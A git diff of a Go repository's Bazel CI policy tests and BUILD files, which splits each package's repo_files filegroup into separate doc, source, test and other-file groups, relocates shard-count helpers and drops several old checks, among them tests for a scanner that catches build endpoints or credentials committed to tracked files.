t.Errorf("non-allowlisted fork-cache variant not detected in .bazelrc: %q", bad) - } - } - // rbe-fork's endpoint pin: that line in that file only; anything else - // naming the endpoint, there or elsewhere, is flagged. - if hits := findRemoteEndpoints(publicRBEForkPinFile, []byte("set -eu\n"+publicRBEForkPinLine+"\n"), true); len(hits) != 0 { - t.Errorf("rbe-fork endpoint pin flagged in %s: %v", publicRBEForkPinFile, hits) - } - for _, path := range []string{".github/actions/setup-bazel/write-bazelrc.sh", ".github/workflows/bazel.yml", ".bazelrc", "tools/rbe/fork-credential.sh"} { - if len(findRemoteEndpoints(path, []byte(publicRBEForkPinLine+"\n"), true)) == 0 { - t.Errorf("rbe-fork endpoint pin not flagged in %s (allowlisted in %s only)", path, publicRBEForkPinFile) - } - } - for _, bad := range []string{ - " " + publicRBEForkPinLine, - strings.Replace(publicRBEForkPinLine, "8444", "443", 1), - `ENDPOINT=` + "grpc" + `s://rbe-fork.ops.gascity.com:8444`, - "build:remote-exec " + flag("remote_executor") + "=" + scheme + "rbe-fork.ops.gascity.com:8444", - } { - if len(findRemoteEndpoints(publicRBEForkPinFile, []byte(bad+"\n"), true)) == 0 { - t.Errorf("non-allowlisted rbe-fork line not detected in %s: %q", publicRBEForkPinFile, bad) - } - } - // Markdown: OTel gRPC exporter URLs and prose mentioning the flag are fine; - // a literal flag value is not. - for _, ok := range []string{ - "Set OTEL_EXPORTER_OTLP_ENDPOINT=" + "grpc" + "://collector:4317\n", - "Pass " + flag("remote_executor") + " and TLS flags from user.bazelrc.\n", - } { - if hits := findRemoteEndpoints("docs/x.md", []byte(ok), false); len(hits) != 0 { - t.Errorf("allowed Markdown fixture flagged: %q -> %v", ok, hits) - } - } - if len(findRemoteEndpoints("docs/x.md", []byte("bazel build "+flag("remote_executor")+"=rbe.example.com:443 //...\n"), false)) == 0 { - t.Error("literal remote_executor in Markdown not detected") - } - for rel, want := range map[string][2]bool{ - ".bazelrc": {true, true}, - "tools/ci.bazelrc": {true, true}, - ".bazelrc.local": {true, true}, - ".github/workflows/x.yml": {true, true}, - "docs/BAZEL.md": {true, false}, - "issues.jsonl": {false, false}, - "internal/telemetry/x.go": {false, false}, - } { - if scan, strict := remoteScanKind(rel); scan != want[0] || strict != want[1] { - t.Errorf("remoteScanKind(%q) = %v,%v, want %v,%v", rel, scan, strict, want[0], want[1]) - } - } - - root := bazelPolicyRoot(t) - var hits []endpointHit - for _, rel := range repoFiles(t, root) { - scan, strict := remoteScanKind(rel) - if !scan { - continue - } - content, err := os.ReadFile(filepath.Join(root, rel)) - if err != nil { - t.Fatalf("read %s: %v", rel, err) - } - hits = append(hits, findRemoteEndpoints(rel, content, strict)...) - } - for _, h := range hits { - t.Errorf("%s:%d: remote endpoint or credential %q in a tracked file; it belongs in a gitignored user.bazelrc/.bazelrc.local or a CI-generated rc outside the workspace", h.path, h.line, h.what) - } -} - -// TestNoLocalPlanPathsInTrackedFiles: tracked files must not point readers -// at a maintainer's private, out-of-repo planning notes (a home-directory -// planning-notes tree), which no other contributor can open. Cite an -// in-repo doc, a bead, or a PR instead. The needle is assembled at runtime so -// this file does not match itself. -func TestNoLocalPlanPathsInTrackedFiles(t *testing.T) { - root := bazelPolicyRoot(t) - needle := []byte("beads-" + "bazel-plan") - for _, rel := range repoFiles(t, root) { - content, err := os.ReadFile(filepath.Join(root, filepath.FromSlash(rel))) - if err != nil { - t.Fatalf("read %s: %v", rel, err) - } - if bytes.IndexByte(content, 0) >= 0 { - continue // binary, as git grep -I - } - for n, line := range bytes.Split(content, []byte("\n")) { - if bytes.Contains(line, needle) { - t.Errorf("%s:%d: tracked file references a local, non-repo %s path; point at an in-repo doc, bead or PR instead", rel, n+1, needle) - } - } - } -} - // --- generated go_srcs filegroups are current ------------------------------- -// These checks walk the source checkout: under Bazel, //:repo_files, which -// holds every package's BUILD.bazel (a package missing its repo_files block -// is what `make bazel-sync-check` fails on). +// These checks walk the source checkout: under Bazel, //:repo_other_files, +// which holds every package's BUILD.bazel (a package missing its repo_files +// block is what `make bazel-sync-check` fails on). var ( treeGoSrcsRe = regexp.MustCompile(`(?s)filegroup\(\s*name\s*=\s*"tree_go_srcs",\s*srcs\s*=\s*\[(.*?)\]`) @@ -791,7 +407,7 @@ func TestBazelGoSrcsBlocksCurrent(t *testing.T) { // --- no Bazel packages under the docs trees --------------------------------- // docs/ and engdocs/ are content (the Mintlify site and the engineering docs) -// that the root package's repo_files glob covers; they hold no code, so a +// that the root package's repo_files block covers; they hold no code, so a // BUILD file under either tree is a mistake (it would also split the subtree // into a package of its own). func TestBazelNoPackagesUnderDocsTrees(t *testing.T) { diff --git a/scripts/bazel_skip_allowlist_test.go b/scripts/bazel_skip_allowlist_test.go index b90d6c19f..dd8b7901b 100644 --- a/scripts/bazel_skip_allowlist_test.go +++ b/scripts/bazel_skip_allowlist_test.go @@ -27,7 +27,7 @@ import ( // tests run on every PR, so a go-test-only check (a Bazel-guarded return or // continue, or a block guarded by TEST_SRCDIR == "" / !IsBazel()) would run // nowhere: declare what it reads as data instead (//:repo_files holds the -// whole checkout). This check finds them before the merge, from the source. +// whole checkout, tools/bazel/go_srcs.py's partitions of it less). This check finds them before the merge, from the source. // // Only top-level tests are considered: a subtest's skip is invisible to // equivalence.py, which compares top-level tests. @@ -39,8 +39,8 @@ func TestBazelOnlySkipsAreAllowlisted(t *testing.T) { if err != nil { t.Fatal(err) } - // Under Bazel the tree is //:repo_files; a scan that parsed few files is - // not looking at it. + // Under Bazel the tree is //:repo_go_test_srcs; a scan that parsed few + // files is not looking at it. if files < 1000 { t.Fatalf("parsed only %d _test.go files; the scan is broken", files) } @@ -366,20 +366,6 @@ func checks(body *ast.BlockStmt) bool { return found } -func exits(body *ast.BlockStmt) bool { - for _, st := range body.List { - switch st := st.(type) { - case *ast.ReturnStmt: - return true - case *ast.BranchStmt: - if st.Tok == token.CONTINUE { - return true - } - } - } - return false -} - // goTestCond: TEST_SRCDIR == "" or !...IsBazel(). func goTestCond(cond ast.Expr) bool { switch c := cond.(type) { diff --git a/scripts/bench-ready-indexes/BUILD.bazel b/scripts/bench-ready-indexes/BUILD.bazel index d67926583..185a441a1 100644 --- a/scripts/bench-ready-indexes/BUILD.bazel +++ b/scripts/bench-ready-indexes/BUILD.bazel @@ -24,12 +24,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -38,7 +77,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/scripts/check-versions/BUILD.bazel b/scripts/check-versions/BUILD.bazel index 6baf8b20d..818f31552 100644 --- a/scripts/check-versions/BUILD.bazel +++ b/scripts/check-versions/BUILD.bazel @@ -42,12 +42,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -56,7 +95,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/scripts/check_testing_short_test.go b/scripts/check_testing_short_test.go index 9e1257766..b2881db63 100644 --- a/scripts/check_testing_short_test.go +++ b/scripts/check_testing_short_test.go @@ -66,26 +66,6 @@ func TestCheckTestingShortReportsUnknownBetweenFunctions(t *testing.T) { } } -func TestCheckTestingShortPassesOnCleanRepoTree(t *testing.T) { - if runtime.GOOS == "windows" { - t.Skip("checker is a Bash boundary") - } - repo := sourceRepoRoot(t) - // Under Bazel the tree is //:repo_files; a tree missing the allowlisted - // call sites would let the scan pass vacuously. - for _, rel := range []string{"internal/hooks/hooks_test.go", "internal/storage/dolt/concurrent_test.go", "internal/workapi/sweep_test.go"} { - if _, err := os.Stat(filepath.Join(repo, filepath.FromSlash(rel))); err != nil { - t.Fatalf("the scanned tree lacks %s, which holds an allowlisted call: %v", rel, err) - } - } - cmd := exec.Command("bash", filepath.Join(repo, "scripts", "check-testing-short.sh")) - cmd.Dir = repo - out, err := cmd.CombinedOutput() - if err != nil { - t.Fatalf("check-testing-short.sh failed on clean repo tree (all 9 allowlist entries must still be recognized): %v\noutput: %s", err, out) - } -} - func runCheckTestingShort(t *testing.T, files map[string]string) (string, error) { t.Helper() if runtime.GOOS == "windows" { diff --git a/scripts/check_winget_portable_alias_test.go b/scripts/check_winget_portable_alias_test.go index 8a52fcc79..0e5a5e56d 100644 --- a/scripts/check_winget_portable_alias_test.go +++ b/scripts/check_winget_portable_alias_test.go @@ -11,7 +11,7 @@ import ( // The guard's own vocabulary is shared between mikefarah yq v4 and python-yq, // so either flavour exercises these cases. Under Bazel yq is part of the -// executor inventory //scripts:scripts_test relies on (the rbe-west worker +// executor inventory the //scripts go_tests rely on (the rbe-west worker // image and ubuntu-latest ship mikefarah yq v4), so a missing yq fails there. func skipWithoutYQ(t *testing.T) { t.Helper() diff --git a/scripts/checkworkflowtags/BUILD.bazel b/scripts/checkworkflowtags/BUILD.bazel index 1a80d8372..2ce173f43 100644 --- a/scripts/checkworkflowtags/BUILD.bazel +++ b/scripts/checkworkflowtags/BUILD.bazel @@ -17,12 +17,51 @@ go_binary( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -31,7 +70,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index 6905ece3c..eb75ab320 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -2516,7 +2516,7 @@ func TestPRPolicyChecksRunAsBazelTargets(t *testing.T) { {"scripts/repochecks/BUILD.bazel", "workapi_frontend_boundary_test", `"scripts/check-workapi-frontend-boundary.sh"`, ""}, {"scripts/repochecks/BUILD.bazel", "types_gen_drift_test", `"types_gen_drift_test.sh"`, ""}, {"internal/versioncheck/BUILD.bazel", "versioncheck_test", `"//:release_metadata_files"`, ""}, - {"scripts/BUILD.bazel", "scripts_test", `"check_testing_short_test.go"`, ""}, + {"scripts/BUILD.bazel", "go_sources_test", `"testing_short_tree_test.go"`, ""}, {"scripts/BUILD.bazel", "doc_freshness_required_test", `"-required-suite=doc-freshness"`, `["integration-only"]`}, {"scripts/gitattributespolicy/BUILD.bazel", "gitattributespolicy_required_host_test", `"-required-host"`, ""}, } { @@ -3896,9 +3896,6 @@ sh_test( } } -// The default shard manifest of a PR Risk shard script. -var shardManifestDefault = regexp.MustCompile(`\$\{BEADS_TEST_SHARD_MANIFEST:-([^}]+)\}`) - // bazelAttrBlock returns the text of a list attribute (` name = [` up to // its closing ` ],`) of a rule block from bazelRuleBlock, or "". func bazelAttrBlock(rule, name string) string { @@ -3913,40 +3910,6 @@ func bazelAttrBlock(rule, name string) string { return rule[i : i+end+7] } -// bazelRuleBlock returns the text of the top-level rule named name in a -// BUILD file, or "" if there is none. -func bazelRuleBlock(build, name string) string { - i := strings.Index(build, "\n name = \""+name+"\",\n") - if i < 0 { - return "" - } - start := strings.LastIndex(build[:i], "\n") + 1 - end := strings.Index(build[i:], "\n)\n") - if end < 0 { - return build[start:] - } - return build[start : i+end+3] -} - -// bazelProxiedShardCount returns cmd/bd:bd_proxied_test's own shard_count -// from cmd/bd/BUILD.bazel: the single source of truth for the Bazel-only -// bazel-proxied lane's shard split, which no longer has to equal PR -// Risk's/main.yml's legacy test-proxied-cmd jobs' matrix size (F2). -func bazelProxiedShardCount(t *testing.T) int { - t.Helper() - root := sourceRepoRoot(t) - rule := bazelRuleBlock(readPolicyFile(t, root, "cmd/bd/BUILD.bazel"), "bd_proxied_test") - m := regexp.MustCompile(`(?m)^ shard_count = (\d+),$`).FindStringSubmatch(rule) - if m == nil { - t.Fatalf("cmd/bd:bd_proxied_test has no `shard_count = N,` in cmd/bd/BUILD.bazel:\n%s", rule) - } - n, err := strconv.Atoi(m[1]) - if err != nil { - t.Fatalf("cmd/bd:bd_proxied_test shard_count: %v", err) - } - return n -} - // bazel-integration mirrors main.yml's integration jobs with the unmodified // --config=integration (whose .bazelrc filter and flags // TestBazelrcIntegrationLane pins): no extra filter, selector or remote @@ -5755,6 +5718,13 @@ func TestBazelGatedLanesNeverRetryFlakyTests(t *testing.T) { case ".git", "node_modules", ".beads": return filepath.SkipDir } + // Not in the checkout: under Bazel, the --run_under wrapper's + // PATH directory (//tools/bazel:hermetic_bin) is in every + // test's runfiles, and a line-by-line scan of its pinned dolt + // binary took a minute on a remote worker. + if filepath.ToSlash(rel) == "tools/bazel/hermetic_bin" { + return filepath.SkipDir + } return nil } if !isFileOrFileLink(path, d) { @@ -6068,3 +6038,31 @@ func (e *ciWorkflowEnvironment) UnmarshalYAML(value *yaml.Node) error { e.Name, e.URL = m.Name, m.URL return nil } + +func TestDoltImagePullWorkflowsUseRetryHelper(t *testing.T) { + // No workflow pulls the image: every Dolt suite runs on hermetic dolt + // sql-servers (bazel.yml's dolt-server lanes) and needs no docker, since + // pr-risk.yml's container-backed legacy tiers were retired + // (ga-96smfk.22). The helper stays for local container-backed runs. + wantCalls := map[string]int{} + + workflowsDir := filepath.Join(sourceRepoRoot(t), ".github", "workflows") + workflowPaths, err := filepath.Glob(filepath.Join(workflowsDir, "*.y*ml")) + if err != nil { + t.Fatal(err) + } + for _, path := range workflowPaths { + data, err := os.ReadFile(path) + if err != nil { + t.Fatal(err) + } + text := string(data) + name := filepath.Base(path) + if got, want := strings.Count(text, "run: ./scripts/ci/pull-dolt-image.sh"), wantCalls[name]; got != want { + t.Errorf("%s retry-helper calls = %d, want %d", name, got, want) + } + if strings.Contains(text, "docker pull "+doltSQLServerImage) { + t.Errorf("%s still pulls the Dolt image without retries", name) + } + } +} diff --git a/scripts/embedded_shard_count_test.go b/scripts/embedded_shard_count_test.go index dcc75521f..f439235be 100644 --- a/scripts/embedded_shard_count_test.go +++ b/scripts/embedded_shard_count_test.go @@ -1,14 +1,18 @@ package scripts_test +// The Bazel shard counts the CI policy tests (//scripts:scripts_test) and the +// shard-manifest tests (//scripts:go_test_sources_test) check against, read +// from each sharded target's own BUILD.bazel rule. Helpers only: both targets +// compile this file, so a test here would run twice. + import ( - "os/exec" "regexp" "strconv" "testing" ) // shardCountPattern matches a rule block's ` shard_count = N,` line, the -// same pattern bazelProxiedShardCount (scripts/ci_workflow_test.go) inlines +// same pattern bazelProxiedShardCount (below) inlines // for its own single use; shared here since both embedded accessors below // need it. var shardCountPattern = regexp.MustCompile(`(?m)^ shard_count = (\d+),$`) @@ -18,7 +22,7 @@ var shardCountPattern = regexp.MustCompile(`(?m)^ shard_count = (\d+),$`) // Bazel-only bazel-embedded lane's cmd/bd shard split (slice F1), which no // longer has to equal PR Risk's/main.yml's legacy "Test (Embedded Dolt Cmd // N/20)" fork/push jobs' matrix size — mirrors bazelProxiedShardCount (F2; -// see that function's doc comment in scripts/ci_workflow_test.go for the +// see that function's doc comment below for the // shared rationale, not repeated here). func bazelEmbeddedCmdShardCount(t *testing.T) int { t.Helper() @@ -57,46 +61,6 @@ func bazelEmbeddedStorageShardCount(t *testing.T) int { return n } -// S3 (F1, mirroring F2's TestProxiedShardManifestGeneratorNotStale in -// scripts/pr_risk_bazel_coverage_test.go — see that test's doc comment for -// the full --check rationale, not repeated here): the Bazel-only 50-shard -// cmd block and 15-shard storage block are not frozen like their files' -// legacy 20- and 5-shard blocks. gen_embedded_{cmd,storage}_shard_manifest.py -// --check verifies only that the committed block names every discovered -// test exactly once, failing with the exact command to fix it when a name -// is missing, stale, or duplicated — run here so a drifted block fails `go -// test ./scripts/...` (//scripts:scripts_test under Bazel) instead of only -// surfacing as a test silently never running in any shard. The legacy -// blocks are deliberately excluded: both files document that their 20- and -// 5-shard blocks are frozen (see .github/scripts/embedded-{cmd,storage}- -// test-shards.txt and engdocs/TESTING.md), so a --check against them is -// expected to report "missing" entries by design (see those generators' -// module docstrings) and is not what this test runs. -func TestCmdEmbeddedShardManifestGeneratorNotStale(t *testing.T) { - python := requireHostTool(t, "python3") - root := sourceRepoRoot(t) - shards := strconv.Itoa(bazelEmbeddedCmdShardCount(t)) - cmd := exec.Command(python, "scripts/ci/gen_embedded_cmd_shard_manifest.py", shards, "--weights=duration", "--check") - cmd.Dir = root - if out, err := cmd.CombinedOutput(); err != nil { - t.Errorf("gen_embedded_cmd_shard_manifest.py %s --weights=duration --check: %v\n%s", shards, err, out) - } -} - -// TestStorageEmbeddedShardManifestGeneratorNotStale mirrors -// TestCmdEmbeddedShardManifestGeneratorNotStale above for the storage tier's -// Bazel-only 15-shard block; see that test's doc comment. -func TestStorageEmbeddedShardManifestGeneratorNotStale(t *testing.T) { - python := requireHostTool(t, "python3") - root := sourceRepoRoot(t) - shards := strconv.Itoa(bazelEmbeddedStorageShardCount(t)) - cmd := exec.Command(python, "scripts/ci/gen_embedded_storage_shard_manifest.py", shards, "--weights=duration", "--check") - cmd.Dir = root - if out, err := cmd.CombinedOutput(); err != nil { - t.Errorf("gen_embedded_storage_shard_manifest.py %s --weights=duration --check: %v\n%s", shards, err, out) - } -} - // bazelServerFullShardCount returns dolt:dolt_server_full_test's own // shard_count from internal/storage/dolt/BUILD.bazel: the single source of // truth for the bazel-server-storage lane's full-suite shard split, now that @@ -117,3 +81,25 @@ func bazelServerFullShardCount(t *testing.T) int { } return n } + +// The default shard manifest of a PR Risk shard script. +var shardManifestDefault = regexp.MustCompile(`\$\{BEADS_TEST_SHARD_MANIFEST:-([^}]+)\}`) + +// bazelProxiedShardCount returns cmd/bd:bd_proxied_test's own shard_count +// from cmd/bd/BUILD.bazel: the single source of truth for the Bazel-only +// bazel-proxied lane's shard split, which no longer has to equal PR +// Risk's/main.yml's legacy test-proxied-cmd jobs' matrix size (F2). +func bazelProxiedShardCount(t *testing.T) int { + t.Helper() + root := sourceRepoRoot(t) + rule := bazelRuleBlock(readPolicyFile(t, root, "cmd/bd/BUILD.bazel"), "bd_proxied_test") + m := regexp.MustCompile(`(?m)^ shard_count = (\d+),$`).FindStringSubmatch(rule) + if m == nil { + t.Fatalf("cmd/bd:bd_proxied_test has no `shard_count = N,` in cmd/bd/BUILD.bazel:\n%s", rule) + } + n, err := strconv.Atoi(m[1]) + if err != nil { + t.Fatalf("cmd/bd:bd_proxied_test shard_count: %v", err) + } + return n +} diff --git a/scripts/gitattributespolicy/BUILD.bazel b/scripts/gitattributespolicy/BUILD.bazel index c41371b52..d3ced62de 100644 --- a/scripts/gitattributespolicy/BUILD.bazel +++ b/scripts/gitattributespolicy/BUILD.bazel @@ -33,12 +33,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -47,7 +86,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/scripts/host_tools_test.go b/scripts/host_tools_test.go index 0c498194b..6773d7d11 100644 --- a/scripts/host_tools_test.go +++ b/scripts/host_tools_test.go @@ -8,8 +8,8 @@ import ( ) // skipOrFailWithoutHostTool handles a missing host tool. Under go test the -// test skips, as it always has. Under Bazel it fails: //scripts:scripts_test -// relies on the executor's bash, git, python3 and friends (the rbe-west +// test skips, as it always has. Under Bazel it fails: the //scripts go_tests +// rely on the executor's bash, git, python3 and friends (the rbe-west // worker image, or the runner in fork-cache mode), so a skip there would // hide an executor that lacks one behind a green, cacheable result. func skipOrFailWithoutHostTool(t *testing.T, format string, args ...any) { @@ -45,3 +45,14 @@ func testGo(t *testing.T) string { } return requireHostTool(t, "go") } + +// requireAutofixBash skips when bash cannot run the autofix scripts: they run +// on Linux runners and use bash 4 associative arrays, and macOS runners ship +// /bin/bash 3.2. +func requireAutofixBash(t *testing.T) { + t.Helper() + requireHostTool(t, "bash") + if err := exec.Command("bash", "-c", "declare -A probe=()").Run(); err != nil { + t.Skip("bash lacks associative arrays (bash >= 4 required)") + } +} diff --git a/scripts/internal/testbash/BUILD.bazel b/scripts/internal/testbash/BUILD.bazel index 6ec7c261e..3c200eee7 100644 --- a/scripts/internal/testbash/BUILD.bazel +++ b/scripts/internal/testbash/BUILD.bazel @@ -29,12 +29,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -43,7 +82,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/scripts/migration-test/catalog/BUILD.bazel b/scripts/migration-test/catalog/BUILD.bazel index 70e66d75a..b69d11468 100644 --- a/scripts/migration-test/catalog/BUILD.bazel +++ b/scripts/migration-test/catalog/BUILD.bazel @@ -23,12 +23,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -37,7 +76,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/scripts/pr-lint/BUILD.bazel b/scripts/pr-lint/BUILD.bazel index a232d5557..4d30153de 100644 --- a/scripts/pr-lint/BUILD.bazel +++ b/scripts/pr-lint/BUILD.bazel @@ -22,12 +22,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -36,7 +75,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/scripts/pr_lanes_bazel_coverage_test.go b/scripts/pr_lanes_bazel_coverage_test.go index b2058509f..b53fdfb69 100644 --- a/scripts/pr_lanes_bazel_coverage_test.go +++ b/scripts/pr_lanes_bazel_coverage_test.go @@ -416,8 +416,8 @@ func TestDoltServerFingerprintRunsOnTheDoltServerLane(t *testing.T) { // cmd/go's defaultVetFlags analyzers beside every compile of every lane, so // bazel.yml's required test lane (`bazel test //... --config=ci`) fails on a // finding. No workflow runs `go vet` any more. The repository policy tests -// and the Go tests that walk the checkout run under Bazel -// (//scripts:scripts_test and //test/docsync over //:repo_files), so no +// and the Go tests that walk the checkout run under Bazel (//scripts' and +// //test/docsync's go_tests, over the repo_files partitions they read), so no // workflow runs `go test` over ./scripts/... or the equivalence allowlist // either. func TestPRRunsGoTestsBazelSkips(t *testing.T) { diff --git a/scripts/pr_risk_bazel_coverage_test.go b/scripts/pr_risk_bazel_coverage_test.go index edf17a537..b058e806d 100644 --- a/scripts/pr_risk_bazel_coverage_test.go +++ b/scripts/pr_risk_bazel_coverage_test.go @@ -10,7 +10,6 @@ import ( "sort" "strconv" "strings" - "sync" "testing" ) @@ -319,7 +318,7 @@ func TestBazelRetiredLanesCheckListedTestsRan(t *testing.T) { // liveShardCount dispatches a suite's -1 shardCount to the accessor that // reads its target's own shard_count from its BUILD.bazel rule — the // single source of truth for a lane's shard split. See - // bazelProxiedShardCount's doc comment (scripts/ci_workflow_test.go) for + // bazelProxiedShardCount's doc comment (scripts/embedded_shard_count_test.go) for // the shared rationale. liveShardCount := map[string]func(*testing.T) int{ "//cmd/bd:bd_proxied_test": bazelProxiedShardCount, @@ -553,199 +552,6 @@ esac } } -// Review G1: the checker's input is the real shard scripts' list-only -// output (every retired lane's: the embedded, proxied and server suites). Every name they list, for every shard, must be a test go test -// runs (declared `func Name(t *testing.T)` in the package's _test.go files), -// or one check_shard_coverage.py drops as NOT_TESTS; and each NOT_TESTS name -// must really not be a test (TestMain takes *testing.M). Otherwise the -// checker reports a listed test that "did not run" on every real run. -func TestShardScriptsListOnlyRealTests(t *testing.T) { - // The CI shard scripts use bash 4 associative arrays (Linux runners only). - requireAutofixBash(t) - root := sourceRepoRoot(t) - m := regexp.MustCompile(`(?m)^NOT_TESTS = frozenset\(\{([^}]*)\}\)`).FindStringSubmatch(readPolicyFile(t, root, "tools/bazel/check_shard_coverage.py")) - if m == nil { - t.Fatal("tools/bazel/check_shard_coverage.py has no NOT_TESTS = frozenset({...})") - } - notTests := map[string]bool{} - for _, q := range regexp.MustCompile(`"([^"]+)"`).FindAllStringSubmatch(m[1], -1) { - notTests[q[1]] = true - } - for _, c := range []struct{ job, script, pkg string }{ - {"test-embedded-cmd", ".github/scripts/embedded-test-shard.sh", "cmd/bd"}, - {"test-embedded-storage", 